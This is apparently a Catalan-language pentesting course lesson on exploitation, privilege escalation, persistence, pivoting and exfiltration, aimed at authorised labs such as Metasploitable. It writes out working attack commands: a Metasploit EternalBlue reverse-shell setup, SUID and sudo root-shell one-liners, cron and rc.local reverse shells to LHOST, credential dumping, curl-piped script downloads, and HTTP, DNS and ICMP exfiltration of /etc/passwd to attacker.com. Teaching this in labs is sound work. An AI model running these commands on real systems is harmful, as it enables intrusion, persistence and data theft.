Salta el contingut

Explotació i Post-Explotació

Introducció

La fase d'explotació és el moment on un pentester (o un atacant) aprofita una vulnerabilitat identificada per obtenir accés al sistema objectiu. La post-explotació inclou totes les accions realitzades un cop s'ha obtingut accés: escalada de privilegis, persistència, moviment lateral i exfiltració.

És fonamental entendre que, en un pentest ètic, l'objectiu NO és causar danys sinó demostrar l'impacte de la vulnerabilitat per justificar la seva correcció.

Context legal i ètic

Tot el que es mostra en aquest tema ÚNICAMENT s'ha d'aplicar: - Sobre sistemes propis (Docker local) - En plataformes autoritzades: TryHackMe, HackTheBox, VulnHub - En pentests amb contracte signat i scope definit

L'explotació de sistemes sense autorització és un delicte penal (Art. 197 bis CP).

Metasploit Framework

Metasploit és el framework d'explotació més usat en pentesting. Conté milers d'exploits, payloads i auxiliars:

# Iniciar Metasploit en Docker (per al lab)
docker run --rm -it \
  --name msf-NOMCOGNOM \
  --network host \
  metasploitframework/metasploit-framework

# Comandes bàsiques de Metasploit
msf6 > help                    # Ajuda
msf6 > search type:exploit platform:linux   # Cercar exploits Linux
msf6 > search eternalblue      # Cercar per nom de vulnerabilitat
msf6 > use exploit/windows/smb/ms17_010_eternalblue  # Seleccionar exploit
msf6 exploit(ms17_010_eternalblue) > info   # Informació de l'exploit
msf6 exploit(ms17_010_eternalblue) > show options    # Opcions a configurar
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100  # IP objectiu
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50    # IP de l'atacant
msf6 exploit(ms17_010_eternalblue) > check   # Verificar si és vulnerable
msf6 exploit(ms17_010_eternalblue) > run     # Executar l'exploit

Meterpreter - Shell avançada

# Un cop s'obté una sessió Meterpreter:
meterpreter > sysinfo          # Informació del sistema
meterpreter > getuid           # Usuari actual
meterpreter > getpid           # PID del procés actual

# Enumeració
meterpreter > ps               # Llistar processos
meterpreter > netstat          # Connexions de xarxa
meterpreter > arp              # Taula ARP (xarxes accessibles)

# Escalada de privilegis
meterpreter > getsystem        # Intentar escalada automàtica
meterpreter > run post/multi/recon/local_exploit_suggester  # Suggerir exploits locals

# Post-explotació
meterpreter > hashdump         # Extreure hashos de contrasenyes (Windows)
meterpreter > run post/windows/gather/credentials/credential_collector

# Pivot (moviment lateral)
meterpreter > run autoroute -s 192.168.2.0/24  # Enrutar xarxes internes

Escalada de Privilegis

Linux - Tècniques Comunes

Un cop s'obté accés com a usuari sense privilegis, l'objectiu és obtenir root:

# 1. SUID/SGID - binaris que s'executen amb privilegis de propietari
find / -perm -u=s -type f 2>/dev/null  # Binaris amb SUID
find / -perm -g=s -type f 2>/dev/null  # Binaris amb SGID

# Si trobem /usr/bin/find amb SUID (exemple clàssic):
/usr/bin/find . -exec /bin/sh \; -quit
# Ens dona un shell de root

# 2. Sudo misconfiguration
sudo -l  # Veure quines comandes podem executar com a root
# Si podem executar: sudo /usr/bin/python3
sudo python3 -c "import os; os.execl('/bin/bash', 'bash')"

# 3. Capabilities de Linux
getcap -r / 2>/dev/null
# Si trobem: /usr/bin/python3 = cap_setuid+ep
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# 4. Cron jobs amb permisos incorrectes
ls -la /etc/cron* /var/spool/cron/*
cat /etc/crontab

# 5. Kernel exploits (últim recurs - risc de crash)
uname -a  # Versió del kernel
searchsploit linux kernel 5.4  # Buscar exploits coneguts
# Eines automatitzades d'escalada de privilegis
# LinPEAS - Linux Privilege Escalation Awesome Script
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh

# RESULTAT: LinPEAS/LinEnum generen informes colorejos que destaquen
# vectors potencials d'escalada de privilegis

Miniactivitat

En el contenidor vulnerable del laboratori (VulnLab Docker), trobaràs almenys 2 vectors d'escalada de privilegis. Usa LinPEAS per identificar-los i documenta: 1. El vector trobat (SUID, sudo, cron, etc.) 2. Quin binari o configuració és vulnerable 3. La seqüència de comandes per explotar-lo

Windows - Tècniques Comunes

# 1. Unquoted Service Path
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
# Si el path d'un servei conté espais i no té cometes, és explotable

# 2. Weak Service Permissions
# Verificar si podem modificar binaris de serveis
icacls "C:\Program Files\Vulnerable Service\service.exe"
# Si F (Full control) per a l'usuari actual → podem substituir el binari

# 3. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si tots dos = 1 → podem instal·lar MSI com a SYSTEM

# 4. Credencials en fitxers de configuració
findstr /si "password" *.xml *.ini *.txt *.config 2>nul
dir /s /b *unattend* *sysprep* *web.config* 2>nul

# 5. WinPEAS - eina automatitzada
.\winPEAS.exe

Post-Explotació i Persistència

Persistència en Linux

# Mètode 1: SSH authorized_keys
mkdir -p ~/.ssh
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Mètode 2: Cronjob invers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/LHOST/4444 0>&1") | crontab -

# Mètode 3: Backdoor en /etc/rc.local
echo "bash -i >& /dev/tcp/LHOST/4444 0>&1 &" >> /etc/rc.local

# Detectar i eliminar persistència (forense defensiu):
crontab -l                    # Revisar crons d'usuari
cat /etc/crontab              # Crons del sistema
cat ~/.ssh/authorized_keys    # Claus SSH no autoritzades

Moviment Lateral (Pivoting)

# Un cop compromès un sistema, accedir a sistemes adjacents
# que no són accessibles directament des de fora

# Port forwarding amb SSH (si tenim credencials)
ssh -L 3306:192.168.2.10:3306 user@pivot-host
# Ara mysql -h 127.0.0.1 -P 3306 connecta a 192.168.2.10 via pivot

# Meterpreter route per a pivot
meterpreter > run autoroute -s 192.168.2.0/24
meterpreter > background
msf6 > route add 192.168.2.0 255.255.255.0 1  # Sessió 1 com a pivot
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.2.0/24

# SOCKS proxy via SSH
ssh -D 1080 user@pivot-host
proxychains nmap -sT 192.168.2.0/24

Exfiltració de Dades

En un pentest, l'exfiltració de dades simula la capacitat d'un atacant per robar informació. En un pentest real, ÚNICAMENT s'exfiltra un fitxer de prova creat per l'empresa (mai dades reals):

# Mètrodes d'exfiltració (per a demostrar la vulnerabilitat)

# Via HTTP (si hi ha permís HTTP sortint)
curl -F "file=@/tmp/test-NOMCOGNOM.txt" http://attacker.com/upload

# Via DNS (evasiu, per xarxes restrictives)
cat /etc/passwd | xxd | awk '{print $2}' | while read h; do
  nslookup $h.exfil.attacker.com
done

# Via ICMP (molt evasiu)
ping -c 1 -p $(xxd -p /tmp/test.txt | head -c 16) attacker.com

Límits de l'exfiltració en pentesting

En un pentest real, es comprova la capacitat d'exfiltrar però: 1. Mai s'exfiltra informació personal de tercers 2. S'usa un fitxer de prova acordat amb el client 3. Si s'obté accés involuntari a dades personals, es notifica immediatament sense exfiltrar

Laboratori: Metasploitable3

Metasploitable3 és una VM/contenidor dissenyat per a ser vulnerable i practicar pentesting:

# Desplegar Metasploitable3 amb Docker (versió simplificada)
docker run -d \
  --name metasploitable-NOMCOGNOM \
  --network lab_net \
  tleemcjr/metasploitable2:latest

# Atacar amb Metasploit
docker run --rm -it \
  --name attacker-NOMCOGNOM \
  --network lab_net \
  metasploitframework/metasploit-framework \
  bash -c "
  msfconsole -q -x '
    use exploit/unix/ftp/vsftpd_234_backdoor;
    set RHOSTS metasploitable-NOMCOGNOM;
    run
  '
"

Informe de Pentest - Exemple

## Resum d'Explotació - NOMCOGNOM

### Sistemes compromesos
| Sistema | Vector d'entrada | Nivell d'accés obtingut |
|---------|-----------------|------------------------|
| 192.168.1.100 | CVE-2021-41773 (Apache RCE) | www-data |
| 192.168.1.100 | SUID /usr/bin/find | root |

### Evidències
- Captura de pantalla del shell de root: [adjunta]
- Hash SHA-256 del fitxer de prova exfiltrat: abc123...

### Impacte demostrat
Un atacant amb accés root podria:
1. Llegir tots els fitxers del sistema (incloses claus SSH, fitxers de configuració)
2. Instal·lar persistència permanent
3. Usar el sistema com a punt de pivoting cap a la xarxa interna (192.168.2.0/24)

### Recomanació
Actualitzar Apache a la versió 2.4.51 o superior (aplica el pedaç del CVE-2021-41773)
Revisar i corregir els permisos SUID (eliminar SUID de /usr/bin/find)

Exercici pràctic

Realitza un pentest complet sobre la màquina vulnerable del laboratori:

  1. Reconeixement actiu (nmap)
  2. Identificació de vulnerabilitats
  3. Explotació amb Metasploit o manualment
  4. Escalada de privilegis (LinPEAS)
  5. Demostrar accés root amb captura de cat /etc/shadow
  6. Informe de troballes

Lliura el report pentest_NOMCOGNOM.md amb captures de pantalla de cada fase.